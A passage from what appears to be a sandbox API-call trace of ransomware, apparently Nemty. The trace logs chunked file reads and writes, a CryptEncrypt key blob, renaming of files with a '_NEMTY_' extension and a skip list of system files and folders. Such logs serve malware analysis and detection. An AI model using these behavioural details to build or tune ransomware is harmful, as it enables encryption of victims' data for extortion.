lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.907] CloseHandle (hObject=0xffffffff) returned 0 [0084.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0084.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0084.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.907] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0084.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.908] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="..") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="...") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="windows") returned -1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="rsa") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="NTDETECT.COM") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="ntldr") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="MSDOS.SYS") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="IO.SYS") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="ntuser.dat") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="desktop.ini") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="CONFIG.SYS") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="RECYCLER") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="programdata") returned 1 [0084.908] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="appdata") returned 1 [0084.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94268 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94268 [0084.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94320 [0084.909] Sleep (dwMilliseconds=0x5) [0084.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe6440230, dwHighDateTime=0x1d561e7)) [0084.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe6440230, dwHighDateTime=0x1d561e7)) [0084.924] GetLastError () returned 0x5 [0084.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.924] GetLastError () returned 0x5 [0084.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0084.925] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0084.925] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0084.925] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="NKkX7x9BxaSc+PZgbz0h/AqiFLZIfG96jBsnSpJtfui+wf1PPe51q8h4WoUM6ePK\r\nAeEjP8Y8MWubxJwPMMiSlLTkGkddvYFKmYNXu2UBqL7pAJqzvl7u9lQ0zRTmMQOV\r\nDSzgDKutN9q42HPjYdGB9P6B6xL8VI6Vn/1WbfgqMeUBtmo3LWopo+5X261i9uVx\r\nTddvGpHoSsee3AXWDW3qDvFUHndMLpRpVsVp4Zb3Shw7jhxpIS3HlJQtohNLpB5I\r\nyucRMh4Vx6DZG0juJS7KxjxGCBdg/mi7r9xd9UPuYf0FiOKbOYn0tXIOIl65L4q6\r\nUgqGUz8VmgsBP5+YEFrWAQ==\r\n", pcchString=0x653ec5c) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0084.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.926] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0084.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.954] ReadFile (in: 